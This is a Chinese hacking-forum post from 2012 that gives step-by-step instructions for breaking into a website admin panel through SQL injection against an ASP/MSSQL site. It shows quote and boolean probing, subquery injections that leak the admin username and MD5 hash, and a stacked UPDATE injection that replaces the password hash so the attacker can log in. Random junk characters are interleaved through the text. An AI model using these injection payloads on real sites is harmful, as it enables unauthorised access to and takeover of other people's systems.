经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。2 @# Y/ H) s! C# I/ F/ g+ Q
可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)
, h S+ n* A+ }; l/ b5 g( [测试如下：
. H/ V/ r9 q: l5 i: u" X9 jhttp://www.tmdsb.com/news.asp?id=121$ j2 l7 Z+ p/ N$ T
在地址后输入单引号，显示* ^+ N: A/ T) {8 h
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’
) K- P4 P& O- j3 I字符串 ’’’ 之前有未闭合的引号9 Y: ^$ V& w9 t, O1 V) Q; E R4 ~- p
/news/tmdws.asp，行63) [! ~) N, u7 x6 s: h
说明没有过滤单引号且数据库是MSSQL.# A, j3 Z" N$ O/ u7 a5 v) J( O7 ^
and 1=1正常。and 1=2出错。肯定存在注入: O( B# a8 f2 M9 C e
接着输入- L J( L y2 S
http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
* f; A! L5 Z) B得到帐号为:admin9 ^' p' k8 I) z8 w$ v
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)# k a$ h, \7 D2 S% R- K: ?
得到密码为:a4716077c2ba075c
, w2 S0 Y) |/ O+ ]* e接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f29433
' q/ o& l' m( h3 n7 m0 t1 c) M4 p命令如下 :9 S( M) F1 `% J% f
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–& T; x" ?( h2 q- S- W7 j/ u! e5 X
这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41